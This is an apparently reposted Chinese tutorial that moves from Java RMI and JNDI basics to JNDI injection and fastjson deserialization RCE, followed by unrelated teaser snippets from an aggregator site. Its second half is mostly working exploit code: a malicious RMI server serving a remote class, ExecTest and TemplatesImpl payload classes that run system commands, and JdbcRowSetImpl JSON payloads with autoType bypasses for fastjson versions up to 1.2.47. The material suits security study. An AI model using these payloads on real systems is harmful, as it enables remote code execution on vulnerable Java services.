fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE

56903bf362ea1a0adb629808bc8d021a.giff63314b8f208383673c21e7e1b655188.pngf63314b8f208383673c21e7e1b655188.png关注我,让我成为你的专属小太阳吧

RMI入门

什么是RMI

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中,它的底层是由socketjava序列化和反序列化支撑起来的。

Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

我们知道远程过程调用(Remote Procedure Call, RPC)可以用于一个进程调用另一个进程(很可能在另一个远程主机上)中的过程,从而提供了过程的分布能力。Java 的 RMI 则在 RPC 的基础上向前又迈进了一步,即提供分布式对象间的通讯。

那么会引出以下几个问题?

1.远程对象的发现问题

在调用远程对象的方法之前需要一个远程对象的引用,如何获得这个远程对象的引用在RMI中是一个关键的问题?

答案:在我们日常使用网络时,基本上都是通过域名来定位一个网站,但是实际上网络是通过IP地址来定位网站的,因此其中就需要一个映射的过程,域名系统(DNS)就是为了这个目的出现的,在域名系统中通过域名来查找对应的IP地址来访问对应的服务器。那么对应的,IP地址在这里就相当于远程对象的引用,而DNS则相当于一个注册表(Registry)。而域名在RMI中就相当于远程对象的标识符,客户端通过提供远程对象的标识符访问注册表,来得到远程对象的引用。这个标识符是类似URL地址格式的,也就是后面我们所说的RMIRegistry

2.数据的传递问题

我们都知道在Java程序中引用类型(不包括基本类型)的参数传递是按引用传递的,对于在同一个虚拟机中的传递时是没有问题的,因为的参数的引用对应的是同一个内存空间,但是对于分布式系统中,由于对象不再存在于同一个内存空间,虚拟机A的对象引用对于虚拟机B没有任何意义,问题如何解决?

当客户端通过RMI注册表找到一个远程接口的时候,所得到的其实是远程接口的一个动态代理对象。当客户端调用其中的方法的时候,方法的参数对象会在序列化之后,传输到服务器端。服务器端接收到之后,进行反序列化得到参数对象。并使用这些参数对象,在服务器端调用实际的方法。调用的返回值Java对象经过序列化之后,再发送回客户端。客户端再经过反序列化之后得到Java对象,返回给调用者。这中间的序列化过程对于使用者来说是透明的,由动态代理对象自动完成。

RMI的通信模型

从方法调用角度来看,RMI要解决的问题,是让客户端对远程方法的调用可以相当于对本地方法的调用而屏蔽其中关于远程通信的内容,即使在远程上,也和在本地上是一样的。

形象理解:实际上,客户端只与代表远程主机中对象的Stub对象进行通信,丝毫不知道Server的存在。客户端只是调用Stub对象中的本地方法,Stub对象是一个本地对象,它实现了远程对象向外暴露的接口,也就是说它的方法和远程对象暴露的方法的签名是相同的。客户端认为它是调用远程对象的方法,实际上是调用Stub对象中的方法。可以理解为Stub对象是远程对象在本地的一个代理,当客户端调用方法的时候,Stub对象会将调用通过网络传递给远程对象。

97864e6d445c3eba29739c66ea253430.png

RMI远程调用步骤(图解)

1、客户对象调用客户端辅助对象上的方法

2、客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象

3、服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象

4、调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象

5、服务端辅助对象将结果打包,发送给客户端辅助对象

6、客户端辅助对象将返回值解包,返回给客户对象

7、客户对象获得返回值

简单的实现

5486a347f42593a123e8c2123fed9702.png

package main;import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloService extends Remote {    // Remote method should throw RemoteException    public String service(String data) throws RemoteException;}package main;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloServiceImpl extends UnicastRemoteObject        implements HelloService {    private static final long serialVersionUID = 1L;    private String name;    public HelloServiceImpl(String name) throws RemoteException {        super();        this.name = name;        // UnicastRemoteObject.exportObject(this, 0);    }    @Override    public String service(String data) throws RemoteException {        return data + name;    }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class Server {    public static void main(String[] args) {        try {            LocateRegistry.createRegistry(1099);            HelloService service1 = new HelloServiceImpl("service1");            Naming.rebind("rmi://localhost:1099/HelloService1",service1);        }        catch (RemoteException | MalformedURLException e) {            // TODO Auto-generated catch block            e.printStackTrace();        }        System.out.println("Successfully register a remote object.");    }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class Client {    public static void main(String[] args) {        // TODO Auto-generated method stub        String url = "rmi://localhost:1099/";        try {            HelloService serv = (HelloService) Naming.lookup(url + "HelloService1");            String data = "This is RMI Client.";            System.out.println(serv.service(data));        }        catch (RemoteException e) {            e.printStackTrace();        } catch (NotBoundException e) {            e.printStackTrace();        } catch (MalformedURLException e) {            e.printStackTrace();        }    }}

总结一句:Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

2d790d37d40b7c20449c18b6b8216dbc.png

5ad6bc1bf33bb717e43def8c7a770c96.png

1abb3fcd5357ac7598d0f2c92e74a165.png

从代码中我们可以看出,远程接口中的所有方法必须声明它们可以引发异常 java.rmi.RemoteExceptionRemoteException当发生任何类型的网络错误时,都会引发此异常(实际上是的许多子类之一 ):例如,服务器可能崩溃,网络可能会失败,或者您可能由于某种原因而请求一个不可用的对象。

攻击RMI服务端

1c60e3867a34657a91711dba3359b659.png

抓包

db333dd6094c66fb6f5a9f3c464b637b.png

既然传输的时候需要经过序列化及反序列化,这要求相应的类必须实现 java.io.Serializable 接口,然而代码里面没看到?

请看如下:

511647f94ebc1d6213df6570ef4fc08c.png

cabd2a883c85c5f3051b9846868de027.png

796f9580db0b68798ecf11a1bd25e461.png

作用

总结一句:Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

JNDI入门

什么是JNDI?

JNDI(Java Naming and Directory Interface),名为 Java命名和目录接口,JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。放两张直观的图

11dfbc25697b235545243a6fd7f149d1.png

c0fd4cbf4ae165c3e9f1ccf5d76b8e92.png

使用JNDI的好处

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

小小的Demo

package learnjndi;import java.io.Serializable;import java.rmi.Remote;public class Person implements Remote,Serializable {    private static final long serialVersionUID = 1L;    private String name;    private String password;    public String getName() {        return name;    }    public void setName(String name) {        this.name = name;    }    public String getPassword() {        return password;    }    public void setPassword(String password) {        this.password = password;    }    public String toString(){        return "name:"+name+" password:"+password;    }}
package learnjndi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.spi.NamingManager;public class test {    public static void initPerson() throws Exception{        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常        LocateRegistry.createRegistry(3001);        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");        初始化        InitialContext ctx = new InitialContext();        //实例化person对象        Person p = new Person();        p.setName("Decade");        p.setPassword("xiaobai");        //person对象绑定到JNDI服务中,JNDI的名字叫做:person,即我们可以通过person键值,来对Person对象进行索引        ctx.bind("person", p);        ctx.close();    }    public static void findPerson() throws Exception{        //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了        InitialContext ctx = new InitialContext();        //通过lookup查找person对象        Person person = (Person) ctx.lookup("person");        //打印出这个对象        System.out.println(person.toString());        ctx.close();    }    public static void main(String[] args) throws Exception {        initPerson();        findPerson();    }}

c69838b0f3225675c38da48e9d7c1e0a.png

在运行的一瞬间,可以看到确实开放了3001端口

4d226fd3b5fcb54f21e1edde56d3e9d4.png

用Debug的状态来看

357faaeb3af5bd6de35836669cb2f4ad.png

JNDI协议动态转换

在开始谈JNDI注入之前,先谈一谈为什么会引起JNDI注入。上面的Demo里面,在初始化就预先指定了其上下文环境(RMI),但是在调用 lookup() 时,是可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 RMi的 URI 格式去转换(该变)上下文环境,使之访问 RMI 服务上的绑定对象:

Person person = (Person) ctx.lookup("rmi://localhost:3001/person");

4e0fafec44b8a44fc56021029c25ddd5.png

JNDI注入

可以看到得到同样的效果,但是如果这个lookup参数我们可以控制呢?

84a0f1b7e29aa92778d13f5d2acdb4fb.png37912ebe1fc2747dcc409df3502e2fb1.png

这里由于jdk版本(java1.8.231)过高,导致的没有攻击成功,这里为了简便用的是marshalsec反序列化工具

低版本测试?

这里选用的是jd k1.7.17版本。

import javax.naming.Context;import javax.naming.InitialContext;public class CLIENT {    public static void main(String[] args) throws Exception {        String uri = "rmi://127.0.0.1:1099/aa";        Context ctx = new InitialContext();        ctx.lookup(uri);    }}
import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class SERVER {    public static void main(String args[]) throws Exception {        Registry registry = LocateRegistry.createRegistry(1099);        Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");        registry.bind("aa", refObjWrapper);    }}
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest {    public ExecTest() throws IOException,InterruptedException{        String cmd="whoami";        final Process process = Runtime.getRuntime().exec(cmd);        printMessage(process.getInputStream());;        printMessage(process.getErrorStream());        int value=process.waitFor();        System.out.println(value);    }    private static void printMessage(final InputStream input) {        // TODO Auto-generated method stub        new Thread (new Runnable() {            @Override            public void run() {                // TODO Auto-generated method stub                Reader reader =new InputStreamReader(input);                BufferedReader bf = new BufferedReader(reader);                String line = null;                try {                    while ((line=bf.readLine())!=null)                    {                        System.out.println(line);                    }                }catch (IOException  e){                    e.printStackTrace();                }            }        }).start();    }}

a19057454fcb53b7c7713576970db764.png

一步一步跟踪,可以看到这里如果是Reference类的话,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址,如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。

40bc4dfaf8677e8d0b5e642468b6f9aa.png

最终调用了GetObjectInsacne函数,跟踪到如下,这里有两处可以实现任意命令执行,分别是两处标红的代码。

16805ea516b1dda619c7c65079fe2d71.png

可以看到最后用newInstance实例化了类,实例化会默认调用构造方法、静态代码块,那么也就执行了我们的whoami命令

6e9721e1bd49b9ab5d95c6e2b8c08adc.png

当然这里会报错,那么我们修改一下ExecTest类的写法。

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory {    @Override    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) {        exec("calc");        return null;    }    public static String exec(String cmd) {        try {            Runtime.getRuntime().exec("calc.exe");        } catch (IOException e) {            e.printStackTrace();        }        return "";    }    public static void main(String[] args) {        exec("123");    }}

至于为什么要重写getObjectInstance方法,是因为这里用到的第二处可以任意命令执行的地方,如下图所示,就不会报错了。这就是整个jndi的一个实现过程。

a4eec3c6365a0c486a93fa138b75cce0.png

2ca259e32d2fd9d06b0f5327f41f5947.png

JNDI的条件与限制

条件一:我们需要服务端存在以下代码,并且uri可控

String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);

条件二:jdk版本

可以看到要实现JNDI注入的话jdk版本需要符合一定条件,具体到哪个版本之后不能使用呢,笔者由于时间有限,并没一个一个测,如果有师傅愿意尝试的话可以去研究一下,当然这里也有限制

柳暗花明又一村

最先其实也说了,我们JNDI其实类似于一个api,而我测的代码也仅仅就只有rmi服务,我们下面测试一下ladp服务,当然也同样为了简便,用的是marshalsec反序列化工具,这里测试的jdk版本为jdk1.7.17

e68777a7beda5eb744d9791dd9454d90.png

相对来说ldap使用范围更广,如下图所示

a0d3abed0f68e19ecfb9ce2294da3716.png

fastjson反序列化-RCE

简介

fastjson是alibaba开源的一款高性能功能完善的JSON库,项目链接https://github.com/alibaba/fastjson/。

前置知识

import com.alibaba.fastjson.JSON;import java.util.Properties;public class User {    public String name;    private int age;    private Boolean sex;    private Properties prop;    public User(){        System.out.println("User() is called");    }    public void setAge(int age){        System.out.println("setAge() is called");        this.age = age;    }    public int getAge(){        System.out.println("getAge() is called");        return 1;    }    public void setName(String aa){        System.out.println("setName() is called");        this.name=aa;    }    public String getName(){        System.out.println("getName() is called");        return this.name;    }    public  void setSex(boolean a){        System.out.println("setSex() is called");        this.sex = a;    }    public Boolean getSex(){        System.out.println("getSex() is called");        return this.sex;    }    public Properties getProp(){        System.out.println("getProp() is called");        return this.prop;    }    public void setProp(Properties a){        System.out.println("setProp() is called");        this.prop=a;    }    public String toString(){        String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;        return s;    }    public static void main(String[] args){        String jsonstr = "{\"@type\":\"User\", \"name\":\"Tom\", \"age\": 1, \"prop\": {}, \"sex\": 1}";        System.out.println("=========JSON.parseObject======");        Object obj1 = JSON.parseObject(jsonstr);        System.out.println("=========JSON.parseObject指定类======");        Object obj3 = JSON.parseObject(jsonstr,User.class);        System.out.println("=========JSON.parse======");        Object obj2 = JSON.parse(jsonstr);    }}

这段代码就是在模拟Json字符串转换成User对象的过程,执行结果为:

1f70801336b62490616f4358c819de5d.png

@type用来指定Json字符串还原成哪个类对象,在反序列化过程中里面的一些函数被自动调用,Fastjson会根据内置策略选择如何调用这些函数,在文件com.alibaba.fastjson.util.JavaBeanInfo中有定义,简化如下

对于set函数主要有这几个条件:

1、方法名长度大于等于4  methodName.length() >= 42、方法名以set开头 method.getParameterTypes()2、方法不能为静态方法  !Modifier.isStatic(method.getModifiers())3、方法的类型为void或者为类自身的类型  (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))4、参数个数为1 method.getParameterTypes()==1

对于get函数主要有这几个条件:

1、方法名长度大于等于4   methodName.length() >= 42、方法名以get开头且第四个字母为大写 methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))3、方法不能为静态方法 !Modifier.isStatic(method.getModifiers())4、方法不能有参数 method.getParameterTypes().length == 05、方法的返回值必须为Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一 (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())

谨记:

public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。

getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用。

在此之前请多加本地fuzz,这是理解fastjson的前置知识。

fastjson的安全特性

  • 无参默认构造方法或者注解指定

  • Feature.SupportNonPublicField才能打开非公有属性的反序列化处理

  • @type可以指定反序列化任意类,(具体情况)调用其set,get方法

基于TemplatesImpl(1.2.22-1.2.24适用)

poc

适用范围:1.2.22-1.2.24

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class TemplatesImplPoc {    public static String readClass(String cls) {        ByteArrayOutputStream bos = new ByteArrayOutputStream();        try {            IOUtils.copy(new FileInputStream(new File(cls)), bos);        } catch (IOException e) {            e.printStackTrace();        }        return Base64.encodeBase64String(bos.toByteArray());    }    public static void test_autoTypeDeny() throws Exception {        ParserConfig config = new ParserConfig();        final String evilClassPath = System.getProperty("user.dir") + "\\src\\main\\java\\Test.class";        System.out.println(evilClassPath);        String evilCode = readClass(evilClassPath);        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String text1 = "{\"@type\":\"" + NASTY_CLASS +                "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";        System.out.println(text1);        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);        //assertEquals(Model.class, obj.getClass());    }    public static void main(String args[]) {        try {            test_autoTypeDeny();        } catch (Exception e) {            e.printStackTrace();        }    }}
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet {    public Test() throws IOException {        Runtime.getRuntime().exec("calc");    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {    }    public static void main(String[] args) throws Exception {        Test t = new Test();    }}
//pom.xml加上如下几个依赖        <dependency>            <groupId>commons-codecgroupId>            <artifactId>commons-codecartifactId>            <version>1.10version>        dependency>        <dependency>            <groupId>xalangroupId>            <artifactId>xalanartifactId>            <version>2.7.2version>        dependency>        <dependency>            <groupId>commons-iogroupId>            <artifactId>commons-ioartifactId>            <version>2.3version>        dependency>

基于JdbcRowSetImpl(<1.2.24)

poc

import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc {    public static void main(String[] args) {        String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}";        JSON.parse(json);    }}

基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.41)

poc

利用条件之一,需要开启autoType

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}";        JSON.parse(json);    }}

基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.42)

poc

利用条件之一,需要开启autoType

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}";        JSON.parse(json);    }}

基于JdbcRowSetImpl(fastjson<=1.2.47)

poc

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String json = "{" +                "    \"a\": {" +                "        \"@type\": \"java.lang.Class\", " +                "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" +                "    }, " +                "    \"b\": {" +                "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " +                "        \"dataSourceName\": \"ldap://localhost:1099/ExecTest\", " +                "        \"autoCommit\": true" +                "    }" +                "}";        JSON.parse(json);    }}

扫码关注

有趣的灵魂在等你

9700f2d76feb443d49df1e43b767e3f1.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/502289.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

axure web组件下载_Element - 饿了么团队出品的神级桌面 UI 组件库

一套著名的桌面端的组件库&#xff0c;同时提供Sketch、Axure模板资源文件方便快速产品设计。 介绍由饿了么团队出品&#xff0c;一套为开发者、设计师和产品经理准备的组件库&#xff0c;提供了配套axure、sektch设计资源&#xff0c;可以直接下载使用&#xff0c;能帮我等搬砖…

三农电子商务创业创新大赛作品_全国大学生电子商务“创新、创意及创业”挑战赛五邑大学校赛...

大赛简介第十届全国大学生电子商务“创新、创意及创业”挑战赛(简称“三创赛”)是由全国电子商务创新产教联盟主办&#xff0c;由“三创赛”竞赛组织委员会统一策划、组织、管理与实施。“三创赛”由校赛、省赛和国赛三级竞赛组成&#xff0c;分别由教育部认可的全国高校提出申…

程序员的数学 pdf_作为一个程序员,分享我日常学习方式,自学渠道和方式

做了几年程序员&#xff0c;只有高中学生的基础&#xff0c;就做不了高等数学算法相关工作&#xff0c;在有限的技术领域里进行自学做自己能做的业务。学习是少不了的事情&#xff0c;每天一大部分时间都是处于自学状态。第一个平台是慕课网&#xff0c;从高中毕业开始看慕课网…

apache2 wordpress目录权限_小白指南:WordPress中的用户角色和权限

WordPress本身自带了一套用户角色管理系统&#xff0c;这套系统定义了每个用户角色可以做什么&#xff0c;不可以做什么。随着网站的发展&#xff0c;弄懂这些用户角色和权限的问题是非常有必要的。在这篇小白指南中&#xff0c;我们将用图表的形式对比WordPress中每个用户角色…

mysql分区概念_mysql的分区

在mysql 5.1.3之后引入和partition(分区)的概念。这个是个好东东。以前遇到一个大表的时候&#xff0c;我们会手动将其分为几个小表(就是分表操作)。但是分表操作有几个缺点&#xff1a;1 麻烦&#xff0c;这里指的麻烦是不仅对于调用分表的sql语句的处理上&#xff0c;也是分表…

pytest测试实战pdf_Pytest+Allure美化测试报告

今日推荐音乐&#xff1a;我最爱的霉霉在学习pytest的时候&#xff0c;生成的html报告觉得实在不是很美观&#xff0c;查到资料有很多测试报告的第三方插件&#xff0c;不仅美观而且查看测试用例也很方便&#xff0c;那我们一起来学习下吧~0 1参考案例要学习一个新技术&#xf…

java 递归_采用递归算法求解迷宫问题(Java版) | 附代码+视频

递归算法能够解决很多计算机科学问题&#xff0c;迷宫问题就是其中一个典型案例。本篇教程我们将采用递归算法求解迷宫问题&#xff0c;输出从入口到出口的所有迷宫路径。01用递归算法解决迷宫问题迷宫问题在《数据结构教程》第3章介绍过&#xff0c;设mgpath(int xi&#xff0…

挂机宝装mysql_挂机宝安装

万安挂机宝下载后安装包里有介绍.proxydroid使用说明以雷电模拟器为例永久记住选择 允许 (安卓手机 需要 root 方可使用)设置 账号密码启动即可 下面是详细翻译说明一、下载ProxyDroid。二、对ProxyDroid进行配置(基本配置&#xff1a;)(1) Auto Setting不勾选&#xff0c;我们…

python爬虫是数据挖掘吗_爬虫属于数据挖掘 python为什么叫爬虫

数据挖掘和爬虫有区别吗&#xff1f;数据挖掘和爬虫有很大的区别。数据挖掘过程应用于爬虫的可能性并不是特别大&#xff0c;但所占比例相对较大。但是使用爬虫&#xff0c;一般来说&#xff0c;爬虫都是爬到别人的网站上的&#xff0c;而且有些规则。因此&#xff0c;从数据挖…

通过代理上网 固定ip_浅析局部代理IP与全局代理IP的使用说明

经常有人问&#xff0c;如何设置局部代理IP&#xff0c;如何设置全局代理IP&#xff0c;今天我们一起来看看。何谓局部代理IP&#xff0c;顾名思义&#xff0c;改变局部的IP&#xff0c;不影响其他程序软件运行的使用IP&#xff1b;所谓全局代理IP&#xff0c;就是改变整个客户…

如何检查私钥和公钥是否配对_如何检查家具是否有臭虫

如果您购买了二手家具&#xff0c;或者家具使用好多年了&#xff0c;那么由于家庭环境等问题&#xff0c;难免会出现臭虫&#xff01;臭虫可以通过许多不同的方式进入您的房屋&#xff0c;但是最常见的方法之一是您的二手家具。关于臭虫首先&#xff0c;让我们从臭虫入门。这些…

利用expect安装mysql_linux使用mysqldump+expect+crontab实现mysql周期冷备份思路详解

一、遇到的问题我们使用过mysqldump都知道&#xff0c;使用该命令后&#xff0c;需要我们手动输入 mysql的密码&#xff0c;那么我们就不能够直接在crontab中使用mysqldump实现周期备份。其实我们可以使用expect脚本自动输入密码&#xff0c;从而实现真正的周期备份。如果你不知…

数据结构实验之图论九:最小生成树_初高中数学竞赛训练----图论初步2

例题中有2019年罗马尼亚大师赛第3试题树树&#xff1a;一个连通图&#xff0c;如果没有一个环&#xff0c;则叫树。森林&#xff1a;若干个独立的树形成一个森林。链&#xff1a;一个特殊的树是节点中&#xff0c;除去两个节点的度为1&#xff0c;其它均为2&#xff0c;叫做链。…

在每个运行中运行多个查询_Spring Data JPA的运行原理及几种查询方式

Spring Data JPA的运行原理&#xff1a;PersistenceContext(name"entityManagerFactory") private EntityManager em; Test public void test1(){ //org.springframework.data.jpa.repository.support.SimpleJpaRepositor yfba8bf //System.out.println(this.u…

467python教程_Magnus Lie Hetland的《Python基础教程(第3版)》自学笔记(持续更新中)...

转载请注明原创出处&#xff0c;谢谢&#xff01;如果读完觉得有收获的话&#xff0c;欢迎点赞加关注。Python基础教程.jpg快速上手&#xff1a;基础知识交互式解释器在Python交互式解释器的提示符>>>后面输入help()可以获取指南&#xff0c;在IDLE中&#xff0c;还可…

java 获取所有带指定注解的类名_SXT DAY023 反射和注解

1. 反射机制介绍_Class对象获取反射机制是 Java 的动态性之一 动态语言:在程序运行时&#xff0c;可以改变程序的结构或变量的 类型。反射机制的常见作用动态的加载类、动态的获取类的信息(属性&#xff0c;方法&#xff0c;构造 器) 动态构造对象 动态调用类和对象的任意方法、…

tomcat勾连mysql_tomcat9.0启动脚本startup.bat的分析

1、 Apache Tomcat的下载和安装从Apache官网https://tomcat.apache.org/可以下载各种版本的tomcat软件&#xff0c;下载的文件格式可以是zip/tar.gz/exe形式的。如下图所示&#xff0c;在64位windows中使用tomcat&#xff0c;我们可以下载"64-bit Windows.zip",直接解…

安卓能硬改的手机机型_【每日新闻】小米11部分镜头参数爆料;华为重新采购手机零部件 重启4G手机生产...

数据铸造影响力关注每日行业热点资讯&#xff0c;掌握业界动态趋势&#xff0c;以下是今天的精彩内容&#xff1a;1、小米11部分镜头参数爆料&#xff1a;超大底50MP主摄&#xff0c;长焦达12MP或48MP2、华为重新采购手机零部件 重启4G手机生产1、小米11部分镜头参数爆料&#…

kafka集群为什么需要三个节点_大白话带你认识 Kafka

前言应大部分的小伙伴的要求&#xff0c;在Yarn之前先来一个kafka的小插曲&#xff0c;轻松愉快。一、Kafka基础消息系统的作用应该大部份小伙伴都清楚&#xff0c;用机油装箱举个例子所以消息系统就是如上图我们所说的仓库&#xff0c;能在中间过程作为缓存&#xff0c;并且实…

mysql对日期的操作_MySql对日期的操作

1、计算俩个日期之间所差的天数select datediff(2018-09-18,2018-09-01)2、计算日期是这周的星期几select dayofweek(2018-09-18)1.因为外国一般都是把星期天认为是一周的开始&#xff0c;所以用这种方法一般都得减去一天才是这周的星期几select date_format(2018-09-17,"…